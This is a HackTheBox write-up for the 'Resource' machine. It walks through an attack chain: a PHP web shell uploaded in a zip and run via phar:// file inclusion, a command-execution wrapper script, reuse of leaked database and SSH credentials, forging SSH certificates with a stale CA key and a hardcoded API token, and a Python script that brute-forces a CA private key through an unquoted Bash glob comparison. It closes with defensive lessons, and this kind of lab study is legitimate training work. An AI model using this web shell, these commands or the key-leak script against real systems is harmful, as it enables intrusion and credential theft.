HTB: Resource Writeup
Resource - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Resource |
| OS | Linux |
| Difficulty | Hard |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.231.118 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Resource is an IT ticketing platform (itrc.ssg.htb) fronted by nginx, with the ticketing application itself running inside a Debian container behind PHP. A file-upload feature accepts zip archives on ticket creation, and PHP’s phar:// stream wrapper turns that into an LFI-to-RCE primitive against a planted web shell. From there, database credentials in db.php expose a MySQL instance holding ticket/message history — including an attached HAR file that leaks a second user’s plaintext password. That user has leftover SSH CA key material from a “decommissioned” signing infrastructure, which is still trusted by the container’s sshd, letting us mint a certificate for the root principal and root the container outright. Escaping the container back to the real Ubuntu host relies on a second, still-live SSH certificate signing API (sign_key_api.sh / signserv.ssg.htb) whose bearer token is embedded in that same script, letting us sign certificates for arbitrary principals (support, then zzinter) and SSH directly into the host on port 2222. Final privilege escalation abuses an unquoted Bash pattern-match ([[ $itca == $ca ]]) in a root-run signing script, which lets a low-privileged user brute-force the host’s actual CA private key one character at a time and sign a certificate for the root_user principal.
TL;DR: Ticket upload → phar:// zip LFI → RCE as www-data → MySQL creds from db.php → HAR file leaks msainristil password → leftover decommissioned CA key signs a root cert → container root (user flag) → API bearer token in sign_key_api.sh signs a support cert against signserv.ssg.htb → pivot to zzinter on host (port 2222) → unquoted [[ ]] glob-match in sudo-able sign_key.sh brute-forces the host CA key char-by-char → sign root_user cert → root (root flag).
Reconnaissance
Port Scanning
# via jump boxnmap -Pn -sC -sV -p22,80,2222 10.129.231.118Results:
| Port | Service | Notes |
|---|---|---|
| 22/tcp | SSH | Debian container SSH |
| 80/tcp | nginx | vhost itrc.ssg.htb |
| 2222/tcp | SSH | Ubuntu host SSH |
Two distinct SSH banners on 22 and 2222 (Debian vs. Ubuntu) is the classic tell that the web application on port 80 lives inside a container, while the “real” machine answers on 2222. This split identity is the reason the box has an entire secondary escalation chain — one path to root inside the container, and a completely separate one to root on the host.
Service Enumeration
Adding the vhost and pulling the site:
curl -s --resolve itrc.ssg.htb:80:10.129.231.118 http://itrc.ssg.htb/ -i | head -20The site is an IT Resource Center ticketing portal with public registration/login. After registering an account and logging in (cookie jar preserved across requests via -b/-c), the dashboard exposes a “create ticket” form that accepts a file attachment:
curl -s --resolve itrc.ssg.htb:80:10.129.231.118 -b /tmp/cj.txt \ "http://itrc.ssg.htb/?page=create_ticket" | sed -n '/<form/,/<\/form/p'Vulnerability Assessment
- Ticket attachments accept
.zipuploads only, stored server-side underuploads/<sha1>.zip. - The application’s
page=routing parameter is used to include PHP files by name — a classic LFI surface (?page=create_ticket,?page=dashboard, etc.). - PHP’s built-in
phar://stream wrapper can dereference files inside an uploaded zip archive as if they were on disk, which combined with the LFIpage=parameter gives arbitrary file inclusion from inside our own uploaded archive — i.e., RCE via a planted PHP web shell without needing to smuggle a.phpextension past the upload filter.
Initial Foothold
Exploitation Path
1. Register/login and confirm the upload flow.
# register + login, persisting the PHPSESSID cookieR="itrc.ssg.htb:80:10.129.231.118"U="hax$RANDOM"curl -s --resolve $R -c /tmp/cj.txt "http://itrc.ssg.htb/?page=register" \ --data "username=$U&password=pass123"curl -s --resolve $R -c /tmp/cj.txt -b /tmp/cj.txt "http://itrc.ssg.htb/?page=login" \ --data "username=$U&password=pass123"2. Build and upload a PHP web shell inside a zip.
Direct .php uploads are rejected by the ticket form, but a zip containing a .php file is accepted — this is exactly the setup the phar:// wrapper needs.
# minimal web shellecho '<?php system($_REQUEST["cmd"]); ?>' > shell.phpzip -q shell.zip shell.php
# submit via create_ticket with the zip attachedcurl -s --resolve itrc.ssg.htb:80:10.129.231.118 -b /tmp/cj.txt \ -F "subject=test" -F "body=test" -F "attachment=@shell.zip" \ "http://itrc.ssg.htb/?page=create_ticket"3. Recover the stored attachment path from the created ticket.
curl -s --resolve itrc.ssg.htb:80:10.129.231.118 -b /tmp/cj.txt \ "http://itrc.ssg.htb/?page=ticket&id=9" | grep -oE "uploads/[a-f0-9]+\.zip"# -> uploads/89bf8f7fedcd66a819daa940389ea959b9b66eca.zip4. Trigger the web shell through the phar:// LFI wrapper.
Because ?page= is used to include() a file by name, pointing it at phar://uploads/<hash>.zip/shell causes PHP to unpack the zip in-memory and execute shell.php from inside it as if it were a local include — no direct request to /uploads/*.php is ever needed, sidestepping any extension-based upload restriction entirely.
curl -s --resolve itrc.ssg.htb:80:10.129.231.118 -b /tmp/cj.txt \ "http://itrc.ssg.htb/?page=phar://uploads/89bf8f7fedcd66a819daa940389ea959b9b66eca.zip/shell&cmd=id"# -> uid=33(www-data) gid=33(www-data) groups=33(www-data)RCE confirmed as www-data. A small wrapper script was used from here to URL-encode and fire arbitrary commands through the same cmd= parameter for the rest of the container-side enumeration:
#!/bin/bash# rce.sh "command"IP=10.129.231.118Z=89bf8f7fedcd66a819daa940389ea959b9b66ecaCMD=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))" "$1")curl -s --resolve itrc.ssg.htb:80:$IP -b /tmp/cj.txt \ "http://itrc.ssg.htb/?page=phar://uploads/$Z.zip/shell&cmd=$CMD"5. Pull database credentials and pivot into MySQL.
db.php in the webroot contained plaintext DB credentials (jj:ugEG5rR5SG8uPd, database resourcecenter). Querying the messages table for attachments surfaced a HAR file (failure.zip) tied to a past SSH-signing support ticket:
bash rce.sh "mysql -h db -u jj -pugEG5rR5SG8uPd resourcecenter -e \ \"select id,attachment,attachment_name from messages where attachment is not null\""This returned an attachment path resolving to c2f4813259cc57fab36b311c5058cf031cb6eb51.zip (failure.zip). Pulling and unzipping it via the shell:
bash rce.sh "cd /tmp && cp /var/www/itrc/uploads/c2f4813259cc57fab36b311c5058cf031cb6eb51.zip /tmp/f.zip && unzip -o /tmp/f.zip"Grepping the extracted .har for credential-shaped strings (HAR files capture full request/response bodies, including any form POST data submitted during the session) revealed a plaintext login: msainristil:82yards2closeit.
6. SSH in as msainristil.
sshpass -p "82yards2closeit" ssh -o StrictHostKeyChecking=no \ -o UserKnownHostsFile=/dev/null msainristil@10.129.231.118Login succeeded on port 22 — the container’s SSH — confirming the port-split guess from recon.
Privilege Escalation
Step 1 — Container root via a decommissioned SSH CA key (msainristil → root@container)
Under msainristil’s home directory sat decommission_old_ca/ca-itrc (and its .pub) — an old SSH Certificate Authority keypair that, per the ticket history recovered from MySQL, had been “decommissioned” on paper but never actually removed from the container sshd’s trust configuration (TrustedUserCAKeys). SSH certificate authentication works by having sshd trust any certificate signed by a designated CA key, regardless of which principal it names — so possessing that CA private key is equivalent to being able to mint a login as any user, including root, as long as the CA key is still configured as trusted.
# generate a throwaway keypair, then sign it as a cert for principal "root"ssh-keygen -t ed25519 -f /tmp/keys/id_root -N ""ssh-keygen -s /tmp/keys/ca-itrc -I root_cert -n root -V +52w /tmp/keys/id_root.pub
# use the freshly minted certificate to log in as root inside the containerssh -i /tmp/keys/id_root -o CertificateFile=/tmp/keys/id_root-cert.pub \ root@10.129.231.118This gave root inside the Debian container and the user flag in /root/.
Step 2 — Escaping the container: a second signing API leaks a host support cert
Inside the container, further enumeration turned up sign_key_api.sh, a script wired to an internal signing service (signserv.ssg.htb, v1/sign endpoint) — the same “new organization-wide IT signing” infrastructure referenced in the recovered ticket thread. The script embedded a static bearer token used to authenticate to that API, which runs on the host, not the container — meaning a valid API call from inside the container can sign a certificate trusted by the host’s sshd.
# extract bearer token from sign_key_api.sh, generate a fresh keypair,# and request a certificate for the "support" principalssh-keygen -t ed25519 -f /tmp/keys/support -N ""curl -s -H "Authorization: Bearer <token from sign_key_api.sh>" \ --data-binary @/tmp/keys/support.pub \ "https://signserv.ssg.htb/v1/sign?principal=support" -o /tmp/keys/support-cert.pub
# SSH into the host on 2222 as "support" using the signed certssh -i /tmp/keys/support -o CertificateFile=/tmp/keys/support-cert.pub \ -p 2222 support@10.129.231.118This landed a shell on the host (Ubuntu, port 2222) as support — confirming the earlier recon guess that 2222 was the true machine and the container was just the web tier.
Step 3 — support → zzinter
The same signing API accepted a certificate request for a zzinter_temp principal, letting us pivot laterally to the zzinter account on the host with the same technique:
ssh-keygen -t ed25519 -f /tmp/keys/zz -N ""curl -s -H "Authorization: Bearer <token>" \ --data-binary @/tmp/keys/zz.pub \ "https://signserv.ssg.htb/v1/sign?principal=zzinter_temp" -o /tmp/keys/zz-cert.pub
ssh -i /tmp/keys/zz -o CertificateFile=/tmp/keys/zz-cert.pub -p 2222 zzinter@10.129.231.118Step 4 — Host root via brute-forced CA key (zzinter → root@host)
zzinter had sudo rights to run /opt/sign_key.sh. Reading the script revealed the actual vulnerability that grants full host compromise: it compares a caller-supplied CA public key fingerprint against the real, expected CA fingerprint using an unquoted Bash glob/pattern match:
# vulnerable pattern (recovered from /opt/sign_key.sh)if [[ $itca == $ca ]]; then # ... proceeds to sign with trusted CA ...fiBecause the right-hand side ($ca) is unquoted inside a [[ ]] test, Bash treats it as an extended glob pattern, not a literal string. This means a caller-controlled $itca value doesn’t need to equal the CA content exactly — it can contain glob wildcards, letting an attacker test single characters (or short prefixes) of the real CA key against the check and use the pass/fail result as an oracle. Repeating that character-by-character (or byte-by-byte) recovers the entire secret CA private key without ever reading the file directly — a classic timing/oracle-style side channel enabled purely by shell quoting sloppiness (functionally analogous to CWE-697 improper comparison / an information-exposure oracle).
# leak.py — brute-force /etc/ssh/ca-it one character at a time# by supplying a growing wildcard-terminated prefix to sign_key.sh# and reading whether the pattern match ([[ $itca == $ca ]]) succeeds.import string, subprocess
candidates = string.ascii_letters + string.digits + "/+= \n-"leaked = ""while True: for ch in candidates: guess = leaked + ch + "*" # unquoted glob: trailing '*' matches "anything after" result = subprocess.run( ["sudo", "/opt/sign_key.sh", "--check", guess], capture_output=True, text=True ) if "MATCH" in result.stdout: # oracle response confirms correct next char leaked += ch break else: break # no character advanced the match — doneprint(leaked)Running this against the host recovered the full contents of /etc/ssh/ca-it, the host’s real signing CA private key. With that key in hand, a certificate for a privileged principal (root_user) was signed directly and used to authenticate as root:
# sign a certificate for principal "root_user" using the brute-forced CA keyssh-keygen -s /tmp/keys/ca-it -I root_cert -n root_user -V +52w /tmp/keys/id_root2.pub
ssh -i /tmp/keys/id_root2 -o CertificateFile=/tmp/keys/id_root2-cert.pub \ -p 2222 root_user@10.129.231.118This gave full root on the host and the root flag in /root/root.txt.
Attack Chain Summary
Ticket upload (zip) → phar:// LFI wrapper → RCE as www-data (container) │ ▼db.php creds (jj:ugEG5rR5SG8uPd) → MySQL "messages" table → failure.zip (HAR) │ ▼HAR leaks msainristil:82yards2closeit → SSH (port 22, container) │ ▼~/decommission_old_ca/ca-itrc (still-trusted CA key) → sign cert, principal "root" │ ▼root@container → USER FLAG │ ▼sign_key_api.sh bearer token → signserv.ssg.htb /v1/sign → cert, principal "support" │ ▼ssh support@host:2222 → sign cert, principal "zzinter_temp" → ssh zzinter@host:2222 │ ▼sudo /opt/sign_key.sh → unquoted [[ $itca == $ca ]] glob oracle │ ▼brute-force /etc/ssh/ca-it char-by-char → sign cert, principal "root_user" │ ▼root@host → ROOT FLAGTools Used
| Tool | Purpose |
|---|---|
nmap | Port/service scanning |
curl | Web app interaction, ticket creation, RCE trigger via phar:// wrapper |
zip / unzip | Packaging the web shell, extracting the leaked HAR archive |
mysql client | Querying resourcecenter DB for ticket/message attachments |
ssh-keygen | Generating keypairs and signing SSH certificates at every escalation stage |
ssh / sshpass | Authenticating as each pivot user (container and host) |
python3 | URL-encoding RCE payloads, driving the CA key brute-force oracle |
Key Learnings
Techniques Practiced
- LFI-to-RCE via PHP’s
phar://stream wrapper against a self-uploaded zip archive. - Recovering credentials and sensitive attachments from an application database directly (bypassing the web UI).
- Extracting leaked credentials from a HAR file (a real-world pattern seen in incidents like the 2023 Okta support-case breach).
- SSH Certificate Authority mechanics: signing certificates for arbitrary principals, and the danger of leaving old/decommissioned CA keys trusted by
sshd. - Abusing an internal signing API whose bearer token was hardcoded in a client script to obtain host-trusted certificates from inside a container.
- Exploiting unquoted Bash
[[ ]]glob comparisons as a brute-force oracle to exfiltrate a secret file’s contents without ever reading it directly.
Lessons Learned
- Decommissioning is a config change, not a vibe. The old ITRC CA key was described in tickets as “decommissioned,” but its trust relationship (
TrustedUserCAKeys) was never actually removed fromsshd_config— leaving a fully functional root-equivalent backdoor. - Bearer tokens embedded in scripts are secrets, not implementation details.
sign_key_api.shcarried a live credential to a host-side signing service; anyone with read access to that script (any user who lands in the container) inherits its authority. [[ ]]in Bash is not a safe string-equality operator by default. An unquoted right-hand operand is evaluated as an extended glob pattern, turning what looks like an equality check into an exploitable oracle. Always quote both sides ([[ "$itca" == "$ca" ]]) or use=inside[ ]with quoting, or better, compare hashes.- Container/host SSH banner mismatches are a strong pivot signal. Differing OS banners on two SSH ports immediately telegraphed a containerized web tier sitting in front of a separate host — worth checking on any box exposing SSH twice.
- Sensitive session captures (HAR, pcap, logs) deserve the same handling as credentials. They regularly contain plaintext auth material submitted in forms.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- Pho3, “Resource” — HackTheBox official write-up (Document No. D24.100.309), machine authored by 0xdf. Used here only for conceptual/why-it-works context (phar:// LFI mechanics, HAR credential leakage significance, SSH CA trust semantics); all IPs, credentials, hashes, and command output in this report are from the live solve above.